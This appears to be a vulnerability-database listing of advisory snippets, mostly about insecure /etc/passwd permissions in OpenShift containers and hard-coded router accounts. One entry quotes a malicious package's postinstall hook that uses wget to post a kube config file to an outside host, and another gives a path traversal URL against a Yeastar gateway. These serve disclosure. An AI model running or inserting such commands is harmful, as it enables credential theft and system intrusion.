CVE-2019-19349

An insecure modification vulnerability in the /etc/passwd file was found in the container operator-framework/operator-metering as shipped in Red Hat Openshift 4. An attacker with access to the container could use this flaw to modify /etc/passwd and escalate their privileges...

CVE-2019-19349

CVE-2019-19349 describes an insecure modification vulnerability in the /etc/passwd file within the container operator-framework/operator-metering as shipped in Red Hat OpenShift 4 . An attacker with access to the container could modify /etc/passwd and escalate privileges. The connected documents ...

CVE-2019-19352: Incorrect Privilege Assignment

An insecure modification vulnerability in the /etc/passwd file was found in the operator-framework/presto as shipped in Red Hat Openshift 4. An attacker with access to the container could use this flaw to modify /etc/passwd and escalate their privileges...

PT-2021-9023

Name of the Vulnerable Software and Affected Versions operator-framework/hive as shipped in Red Hat Openshift 4 affected versions not specified Description The issue is related to an insecure modification vulnerability in the /etc/passwd file. An attacker with access to the container could exploi...

CVE-2019-19349: Incorrect Privilege Assignment

An insecure modification vulnerability in the /etc/passwd file was found in the container operator-framework/operator-metering as shipped in Red Hat Openshift 4. An attacker with access to the container could use this flaw to modify /etc/passwd and escalate their privileges...

CVE-2019-19354: Incorrect Privilege Assignment

An insecure modification vulnerability in the /etc/passwd file was found in the operator-framework/hadoop as shipped in Red Hat Openshift 4. An attacker with access to the container could use this flaw to modify /etc/passwd and escalate their privileges...

PT-2021-9021

Name of the Vulnerable Software and Affected Versions Red Hat Openshift versions 3.11 and 4 Description A flaw was discovered in the openshift/ansible-service-broker, allowing an attacker with access to the container to modify the /etc/passwd file and potentially escalate their privileges...

CVE-2019-19353: Incorrect Privilege Assignment

An insecure modification vulnerability in the /etc/passwd file was found in the operator-framework/hive as shipped in Red Hat Openshift 4. An attacker with access to the container could use this flaw to modify /etc/passwd and escalate their privileges...

PT-2021-9022 · Red Hat · Operator-Framework/Presto

Name of the Vulnerable Software and Affected Versions: operator-framework/presto as shipped in Red Hat Openshift 4 affected versions not specified Description: The issue is related to an insecure modification vulnerability in the /etc/passwd file. An attacker with access to the container could...

CVE-2019-19350: Incorrect Privilege Assignment

An insecure modification vulnerability in the /etc/passwd file was found in the openshift/ansible-service-broker as shipped in Red Hat Openshift 4 and 3.11. An attacker with access to the container could use this flaw to modify /etc/passwd and escalate their privileges...

PT-2021-9020

Name of the Vulnerable Software and Affected Versions operator-framework/operator-metering affected versions not specified Description A flaw was discovered in the container operator-framework/operator-metering, which is shipped in Red Hat Openshift 4. This issue allows an attacker with access to...

Red Hat ubi8/openjdk-11 安全漏洞

Red Hat ubi8/openjdk-11 is the United States of America Red Hat Red Hat, an application platform. It provides a base platform for building and running pure Java 11 applications. A security vulnerability exists in Red Hat ubi8/openjdk-11 that stems from incorrect privileges in /etc/passwd...

containers/openjdk: /etc/passwd is given incorrect privileges

An insecure modification flaw in the /etc/passwd file was found in the openjdk-1.8 and openjdk-11 containers. This flaw allows an attacker with access to the container to modify /etc/passwd and escalate their privileges. The highest threat from this vulnerability is to confidentiality, integrity,...

SYS.1.3.A2

Jeder Login-Name, jede Benutzer-ID User-ID, UID und jede Gruppen-ID GID DARF NUR einmal vorkommen. Jeder Benutzer MUSS Mitglied mindestens einer Gruppe sein. Jede in der Datei /etc/passwd vorkommende GID MUSS in der Datei /etc/group definiert sein. Jede Gruppe SOLLTE nur die Benutzer enthalten, d...

CVE-2021-20264

An insecure modification flaw in the /etc/passwd file was found in the openjdk-1.8 and openjdk-11 containers. This flaw allows an attacker with access to the container to modify /etc/passwd and escalate their privileges. The highest threat from this vulnerability is to confidentiality, integrity,...

Malicious Package

Overview radar-cms is a malicious package. The package was found to have a post-install command which when executed will exfiltrate multiple files from a host machine. PoC "postinstall": "wget --post-file /.kube/config https://entfet95itcxpuu.m.pipedream.net;wget --post-file package.json...

Yeastar TG400 GSM Gateway 91.3.0.3 Path Traversal

Path Traversal on Yeastar TG400 GSM Gateway - 91.3.0.3 This is a Proof of Concept for CVE-2021-27328 Example to get firmware decrypting password http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../bin/firmwaredetect to get /etc/paswd...

CVE-2020-13858

An issue was discovered on Mofi Network MOFI4500-4GXeLTE 3.6.1-std and 4.0.8-std devices. They contain two undocumented administrator accounts. The sftp and mofidev accounts are defined in /etc/passwd and the password is not unique across installations...

PT-2021-9675

Name of the Vulnerable Software and Affected Versions Mofi Network MOFI4500-4GXeLTE versions 3.6.1-std through 4.0.8-std Description An issue was discovered in Mofi Network MOFI4500-4GXeLTE devices, where two undocumented administrator accounts, sftp and mofidev, are defined in /etc/passwd. The...

CVE-2020-13858: Use of Hard-coded Credentials

An issue was discovered on Mofi Network MOFI4500-4GXeLTE 3.6.1-std and 4.0.8-std devices. They contain two undocumented administrator accounts. The sftp and mofidev accounts are defined in /etc/passwd and the password is not unique across installations...